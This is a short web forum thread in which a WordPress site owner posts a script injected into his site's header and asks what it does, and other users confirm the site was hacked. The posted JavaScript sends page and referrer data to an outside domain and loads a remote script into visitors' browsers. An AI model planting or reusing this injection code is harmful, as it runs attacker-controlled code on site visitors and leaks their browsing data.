Found this on my website, does anyone know what it does?

Discussion in 'JavaScript' started by Rub3X, Jan 20, 2016.

  1. #1
    So I noticed my site was failing to load because "mikelongonlonline.com" was failing to load. After looking in wp-header.php I found this script:

    <script>var a=''; setTimeout(10); var default_keyword = encodeURIComponent(document.title); var se_referrer = encodeURIComponent(document.referrer); var host = encodeURIComponent(window.location.host); var base = "http://mikelongonline.com/js/jquery.min.php"; var n_url = base + "?default_keyword=" + default_keyword + "&se_referrer=" + se_referrer + "&source=" + host; var f_url = base + "?c_utt=snt2014&c_utm=" + encodeURIComponent(n_url); if (default_keyword !== null && default_keyword !== '' && se_referrer !== null && se_referrer !== ''){document.write('<script type="text/javascript" src="' + f_url + '">' + '<' + '/script>');}</script>
    Code (markup):

     
    Rub3X, Jan 20, 2016 IP
  2. qwikad.com

    qwikad.com Illustrious Member Affiliate Manager

    Messages:
    7,291
    Likes Received:
    1,698
    Best Answers:
    31
    Trophy Points:
    475
    #2
    Sounds like your site has been hacked. Check out the WP help to find out more.
     
    qwikad.com, Jan 20, 2016 IP
  3. Rub3X

    Rub3X Well-Known Member

    Messages:
    1,902
    Likes Received:
    75
    Best Answers:
    0
    Trophy Points:
    135
    #3
    Yea I already know that's the case and it's been removed. Just wondering if it's possible to tell what that JS does without the php file source.
     
    Rub3X, Jan 20, 2016 IP
  4. qwikad.com

    qwikad.com Illustrious Member Affiliate Manager

    Messages:
    7,291
    Likes Received:
    1,698
    Best Answers:
    31
    Trophy Points:
    475
    #4
    qwikad.com, Jan 20, 2016 IP
  5. deathshadow

    deathshadow Acclaimed Member

    Messages:
    9,732
    Likes Received:
    1,999
    Best Answers:
    253
    Trophy Points:
    515
    #5
    ... and people wonder why I badmouth jQuery and turdpress...
     
    deathshadow, Jan 21, 2016 IP
  6. Rub3X

    Rub3X Well-Known Member

    Messages:
    1,902
    Likes Received:
    75
    Best Answers:
    0
    Trophy Points:
    135
    #6
    Lol another insightful comment from you. I posted here like 3 times in my life and every time you come to shitpost. Thanks for your help as always.
     
    Rub3X, Jan 23, 2016 IP